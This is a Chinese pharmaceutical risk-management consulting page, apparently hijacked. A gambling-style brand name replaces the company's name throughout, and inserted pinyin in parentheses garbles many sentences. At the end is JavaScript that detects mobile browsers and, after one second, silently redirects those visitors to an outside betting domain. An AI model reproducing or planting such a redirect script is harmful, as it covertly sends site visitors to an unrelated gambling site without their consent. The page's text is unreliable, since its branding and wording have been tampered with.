酷游登路

风险管理与风险分析

 

酷游登路提供全套的风险管(guan)理及风险评估服务(wu)!

药品风(feng)险(xian)(xian)管(guan)(guan)理(li)/风(feng)险(xian)(xian)分析是药品生产(chan)管(guan)(guan)理(li)的(de)(de)(de)常用(yong)(yong)工(gong)(gong)具(ju)。有效地使用(yong)(yong)风(feng)险(xian)(xian)管(guan)(guan)理(li)方法可(ke)以节省大量(liang)的(de)(de)(de)时间(jian)和工(gong)(gong)作量(liang)。根据现有经验,并(bing)不存在完美(mei)的(de)(de)(de)风(feng)险(xian)(xian)分析,但有一个合(he)(he)适(shi)的(de)(de)(de)风(feng)险(xian)(xian)分析工(gong)(gong)具(ju)或工(gong)(gong)具(ju)组合(he)(he)。通(tong)过(guo)结合(he)(he)使用(yong)(yong)定(ding)制(zhi)的(de)(de)(de)个性化(hua)解决(jue)方案与标准(zhun)化(hua)组件,如今要完成符合(he)(he)要求的(de)(de)(de)风(feng)险(xian)(xian)分析并(bing)不困难。实行风(feng)险(xian)(xian)分析将产(chan)生额外的(de)(de)(de)价值。

我们提供(gong)以下相关(guan)服务:

  • 针对风险评估和风险管理主题进行咨询和培训
  • 就风险评估和风险管理如何开展专题研讨会
  • 新建或修订相关的文件模板
  • 审核已有的风险评估文件

与客户共同完成风险分析

风险分(fen)析(xi)需要所有相关(guan)方一(yi)起共同(tong)讨论,因此风险分(fen)析(xi)也是一(yi)个知识(shi)交换的平台,不仅(jin)加深(shen)了参与者的意(yi)识(shi)和对工艺的理解,还提高了他(ta)们对持续质量保证的方法(fa)的关(guan)注(zhu)。

将风险管理系统作为药品质量保证的一部分

生命周(zhou)期概念(nian)是风险管(guan)理(li)系统的(de)(de)(de)一项(xiang)基本内(nei)容。欧盟GMP指南第3部(bu)分和ICH Q9 要求(qiu)对产品和工(gong)艺的(de)(de)(de)可能(neng)风险进行(xing)透明的(de)(de)(de)评估(gu)、评价和持续跟踪。作为质(zhi)量保证的(de)(de)(de)关键要素,风险分析需要被纳入整(zheng)体(ti)风险管(guan)理(li)中。酷游登路按(an)照风险管(guan)理(li)的(de)(de)(de)生命周(zhou)期概念(nian),提供定制、务实和可实现的(de)(de)(de)风险管(guan)理(li)系统的(de)(de)(de)开发和实施。

协调人员工作,提供建设性指导

缺少协调人(ren)的(de)风(feng)险(xian)分析(xi)就(jiu)像一个没(mei)有(you)指(zhi)挥的(de)乐团(tuan)——没(mei)有(you)方向、非结构化,且不(bu)完整。有(you)经验的(de)风(feng)险(xian)分析(xi)协调人(ren)清楚需要问(wen)什么问(wen)题,以(yi)及如(ru)何建设性地指(zhi)导可能失控(kong)的(de)讨(tao)论。通过提出具体问(wen)题来关注(zhu)关键点(dian)十分重(zhong)要,需要分析(xi)要记(ji)录和评估产品的(de)基本风(feng)险(xian)。在这个复杂的(de)任务中,酷游登路将担任指(zhi)导的(de)角色(se)。

您将获得:

  • 对风险分析和风险管理两者关系的清晰理解
  • 满足官方要求的风险管理概念
  • 专业协调人给出的以目标为导向的指导
  • 已有的标准模块确保为相应的工艺、系统提供有效和具体的方法
  • 专家提供如HACCP、Ishikawa、FMEA等已有工具的培训
  • 定制化的支持服务——从简单培训到全面咨询和实施
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();